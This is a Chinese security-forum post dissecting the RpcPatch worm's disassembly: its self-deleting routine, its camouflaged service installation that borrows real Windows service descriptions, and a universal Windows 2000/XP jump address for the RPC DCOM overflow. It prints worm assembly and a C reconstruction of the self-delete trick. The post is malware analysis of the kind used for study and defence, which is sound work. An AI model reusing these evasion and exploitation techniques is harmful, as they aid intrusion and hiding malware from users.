论坛: 病毒专区 标题: RpcPatch蠕虫代码点评 复制本贴地址    
作者: syse [syse]    论坛用户   登录


    抛开写蠕虫导致的道德问题不谈,单就技术而言,应该承认,写这个程序的人是一
个老练的Windows 程序员,代码风格不错,程序写得中规中矩,很多地方值得学习。里
面也用了不少技巧,显示出作者对Windows的了解。这个程序还是有看头的。


1、看看删除自身的函数

    首先来看蠕虫删除自身的函数。Windows 应用程序是不能直接删除自身的,因为程
序运行的时候系统使用了memory-mapped files 机制将文件所占的那一部分空间作缓存。
要删除,最简单的法子是先创建一个批处理文件,在批处理文件中删除主文件,然后让
批处理文件删除自身,或者直接在程序中调用“cmd /c del”,再就是借助系统的一些
机制(详见Jeffrey Richter在MSDN January 1996 那篇“Win32 Q&A”中的论述,地址: http://www.microsoft.com/msj/archive/SF9C.aspx)。
而这个蠕虫用的是另外一种巧妙的方法,这个方法是Gary Nebbett提出来的。

;call from 004012CE
:00402970 55                      push ebp
:00402971 8BEC                    mov ebp, esp
:00402973 81EC10020000            sub esp, 00000210
:00402979 56                      push esi
:0040297A 8B35A8404000            mov esi, dword ptr [004040A8]        ;esi = kernel32.GetModuleFileNameA
:00402980 8D85F4FEFFFF            lea eax, dword ptr [ebp+FFFFFEF4]
:00402986 6804010000              push 00000104
:0040298B 50                      push eax
:0040298C 6A00                    push 00000000
:0040298E FFD6                    call esi                ;kernel32.GetModuleFileNameA
:00402990 8D8DF4FEFFFF            lea ecx, dword ptr [ebp+FFFFFEF4]
:00402996 51                      push ecx
:00402997 FF1574404000            Call dword ptr [00404074]        ;kernel32.GetFileAttributesA
:0040299D A801                    test al, 01                ;看文件是否设置了只读属性
:0040299F 7410                    je 004029B1                ;如果无则直接跳过去删除文件
:004029A1 24FE                    and al, FE                ;如果有则去掉只读属性
:004029A3 8D95F4FEFFFF            lea edx, dword ptr [ebp+FFFFFEF4]
:004029A9 50                      push eax
:004029AA 52                      push edx
:004029AB FF1578404000            Call dword ptr [00404078]        ;kernel32.SetFileAttributesA
;以下的就是Gary Nebbett那一段经典代码:
;jmp from 0040299F
:004029B1 6A00                    push 00000000                ;参数为空,返回自身句柄
:004029B3 FF157C404000            Call dword ptr [0040407C]        ;kernel32.GetModuleHandleA
:004029B9 8D8DF0FDFFFF            lea ecx, dword ptr [ebp+FFFFFDF0]
:004029BF 6804010000              push 00000104
:004029C4 51                      push ecx
:004029C5 50                      push eax
:004029C6 8945FC                  mov dword ptr [ebp-04], eax
:004029C9 FFD6                    call esi                ;KERNEL32!GetModuleFileNameA
:004029CB 6A04                    push 00000004                ;文件映像的硬编码4
:004029CD FF15E0404000            Call dword ptr [004040E0]        ;kernel32.CloseHandle
:004029D3 8D85F0FDFFFF            lea eax, dword ptr [ebp+FFFFFDF0]
:004029D9 6A00                    push 00000000
:004029DB 6A00                    push 00000000
:004029DD 50                      push eax                ;程序本身文件名
:004029DE FF35BC404000            push dword ptr [004040BC]        ;KERNEL32!ExitProcess
:004029E4 FF75FC                  push [ebp-04]                ;映像地址,这里是00400000
:004029E7 FF35E8404000            push dword ptr [004040E8]        ;KERNEL32!DeleteFileA
:004029ED FF3580404000            push dword ptr [00404080]        ;KERNEL32!UnmapViewOfFile
:004029F3 C3                      ret
用源代码表示就是这样:
int main(int argc, char *argv[]) 

    HMODULE module = GetModuleHandle(0); 
    CHAR buf[MAX_PATH]; 
    GetModuleFileName(module, buf, sizeof buf); 
    CloseHandle(HANDLE(4)); 
    __asm { 
        lea     eax, buf 
        push    0 
        push    0 
        push    eax 
        push    ExitProcess 
        push    module 
        push    DeleteFile 
        push    UnmapViewOfFile 
        ret 
    } 
    return 0; 

    先关闭程序本身对应的映像句柄、硬编码4,再UnmapViewOfFile程序自身的映像,
然后就可以删除了。

    不过有两点:1、这个代码在Windows XP上是无效的。
                2、这个代码在命令行上启动是无效的。
这两点有工夫再慢慢研究吧。


2、创建服务函数

    创建服务的代码没有什么特殊的,比较巧妙的是蠕虫复制了系统上原有的服务描述
作为自己的描述,这样比自己定义更具欺骗性,因为这样不论蠕虫传播到哪个语言版本
的系统上都可以在服务管理器中显示人们熟悉的描述信息,很难察觉。

;InstallTFTPService
;call from 0040137F,004016D0   
:004015E0 81EC08020000            sub esp, 00000208
:004015E6 8D842404010000          lea eax, dword ptr [esp+00000104]
:004015ED 56                      push esi
:004015EE 8B351C414000            mov esi, dword ptr [0040411C]        ;msvcrt.sprintf
:004015F4 6898744000              push 00407498
:004015F9 684C614000              push 0040614C        ;db '%s\dllcache\tftpd.exe',0
:004015FE 50                      push eax
:004015FF FFD6                    call esi
:00401601 83C40C                  add esp, 0000000C
:00401604 8D4C2404                lea ecx, dword ptr [esp+04]
:00401608 6898744000              push 00407498
:0040160D 6838614000              push 00406138        ;db '%s\wins\svchost.exe',0
:00401612 51                      push ecx
:00401613 FFD6                    call esi
:00401615 83C40C                  add esp, 0000000C
:00401618 8D542404                lea edx, dword ptr [esp+04]
:0040161C 8D842408010000          lea eax, dword ptr [esp+00000108]
:00401623 6A00                    push 00000000
:00401625 52                      push edx
:00401626 50                      push eax
:00401627 FF15B4404000            Call dword ptr [004040B4]    ;kernel32.CopyFileA
:0040162D 6830614000              push 00406130        ;db 'MSDTC',0        ;照抄MSDTC的描述
:00401632 6824614000              push 00406124        ;db 'svchost.exe'
:00401637 6808614000              push 00406108        ;db 'Network Connections Sharing'
:0040163C 686C5B4000              push 00405B6C        ;db 'RpcTftpd',0
:00401641 E89A0D0000              call 004023E0        ;CreateService
:00401646 83C410                  add esp, 00000010
:00401649 5E                      pop esi
:0040164A 81C408020000            add esp, 00000208
:00401650 C3                      ret

;InstallRpcPatchService
;call from 004016D5   
:00401660 81EC0C020000            sub esp, 0000020C
:00401666 8D842404010000          lea eax, dword ptr [esp+00000104]
:0040166D 6804010000              push 00000104
:00401672 50                      push eax
:00401673 6A00                    push 00000000
:00401675 FF15A8404000            Call dword ptr [004040A8]        ;kernel32.GetModuleFileNameA
:0040167B 6898744000              push 00407498
:00401680 8D4C2404                lea ecx, dword ptr [esp+04]
:00401684 6884614000              push 00406184            ;db '%s\wins\DLLHOST.EXE',0
:00401689 51                      push ecx
:0040168A FF151C414000            Call dword ptr [0040411C]    ;db 'msvcrt.sprintf',0
:00401690 83C40C                  add esp, 0000000C
:00401693 8D542400                lea edx, dword ptr [esp]
:00401697 8D842404010000          lea eax, dword ptr [esp+00000104]
:0040169E 6A00                    push 00000000
:004016A0 52                      push edx
:004016A1 50                      push eax
:004016A2 FF15B4404000            Call dword ptr [004040B4]        ;db 'kernel32.CopyFileA',0
:004016A8 687C614000              push 0040617C        ;db 'Browser',0
:004016AD 6870614000              push 00406170        ;db 'DLLHOST.EXE',0
:004016B2 6864614000              push 00406164        ;db 'WINS Client',0
:004016B7 68785B4000              push 00405B78        ;db 'RpcPatch',0
:004016BC E81F0D0000              call 004023E0        ;CreateService
:004016C1 81C41C020000            add esp, 0000021C
:004016C7 C3                      ret

;CreateService
;call from 00401641,004016BC
:004023E0 81EC10010000            sub esp, 00000110        ;00ec10010000 ?
:004023E6 53                      push ebx
:004023E7 55                      push ebp
:004023E8 56                      push esi
:004023E9 57                      push edi
:004023EA 683F000F00              push 000F003F
:004023EF 6A00                    push 00000000
:004023F1 6A00                    push 00000000
:004023F3 FF152C404000            Call dword ptr [0040402C]    ;advapi32.OpenSCManagerA
:004023F9 8BE8                    mov ebp, eax
:004023FB 85ED                    test ebp, ebp
:004023FD 750B                    jne 0040240A            ;0040240A开始真正进入创建服务,代码比较多就不列出来了
:004023FF 5F                      pop edi
:00402400 5E                      pop esi
:00402401 5D                      pop ebp
:00402402 5B                      pop ebx
:00402403 81C410010000            add esp, 00000110
:00402409 C3                      ret


3、通用返回地址

    Rpc DCOM 的溢出,在选择跳转地址上不一定要用jmp esp功能的地址,因为在溢出
的时候ebx=esp+9c、edi=esp+f8,这样,我们只需在ShellCode 前加上相应数目的填充
字符就可以用跳往这两个寄存器的跳转地址。

    RpcPatch蠕虫的作者使用0x0100139d作为跳转地址,实现了Windows 2000和XP的通
用。而这个地址事实上是Windows XP下svchost.exe里面的call ebx 的地址,以前也有
人用过这个地址,但是是作为Windows XP的跳转地址来用的。从作者写的文章来看,他
是认为这个地址在Windows 2000和Windows XP下都是call ebx,而事实上Windows 2000
的svchost 中这个地址本身并无意义,但是再往下执行若干步,经历几个惊险的跳转之
后,会有一个call edi,只要ShellCode前面的nop足够,最后也会进到ShellCode 里面。
只是这种机缘巧合实在太难得了,让我们一起来领略一下这个惊险之旅:

0100139d 50               push    eax
0100139e 6a08             push    0x8
010013a0 e8cefeffff       call    svchost+0x1273 (01001273)
;call到01001273里面之后又会call到别的地方,最后会call ntdll!RtlAllocateHeap,然后ret出来。
010013a5 85c0             test    eax,eax
010013a7 a324300001       mov     [svchost+0x3024 (01003024)],eax
010013ac 741c             jz      svchost+0x13ca (010013ca)    ;这里不能跳才有望进ShellCode
010013ae 8b352c300001     mov     esi,[svchost+0x302c (0100302c)]
010013b4 8bd8             mov     ebx,eax
010013b6 eb0c             jmp     svchost+0x13c4 (010013c4)    ;跳下去
010013b8 8933             mov     [ebx],esi
010013ba 56               push    esi
010013bb 83c30c           add     ebx,0xc
010013be ffd7             call    edi                ;<---经历这么多步终于到ShellCode
010013c0 8d744602         lea     esi,[esi+eax*2+0x2]
010013c4 66833e00         cmp     word ptr [esi],0x0
010013c8 75ee             jnz     svchost+0x13b8 (010013b8)    ;这里必须跳才能进ShellCode

从0100139d到010013be,中间整整150个指令,那几个条件跳转,该跳的跳,不该跳的
不能跳,edi 必须不被修改,堆栈里的ShellCode必须不被修改……这么多条件同时吻
合,才有了这个Windows 2000/XP通用的跳转地址。而微软从Windows 2000开始,把很
多服务都以dll的形式封装,统一用svchost.exe启动,也就是说svchost.exe只是一个
壳,没有实质的代码,故而一直到SP4,svchost.exe 都没有更新过,这在另一方面也
成就了这个通用地址。 

地主 发表时间: 08/26 11:07

回复: acheron [acheron]   论坛用户   登录
流云转贴的这篇文章值得学习。至于那篇有关C的漏洞攻击程序就有点灌水了,即使转来了,也该给个注释啊。

我把此问的出处给大家:http://www.xfocus.net/articles/200308/598.html


[此贴被 黄泉(acheron) 在 08月27日10时51分 编辑过]

B1层 发表时间: 08/27 10:09

论坛: 病毒专区

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号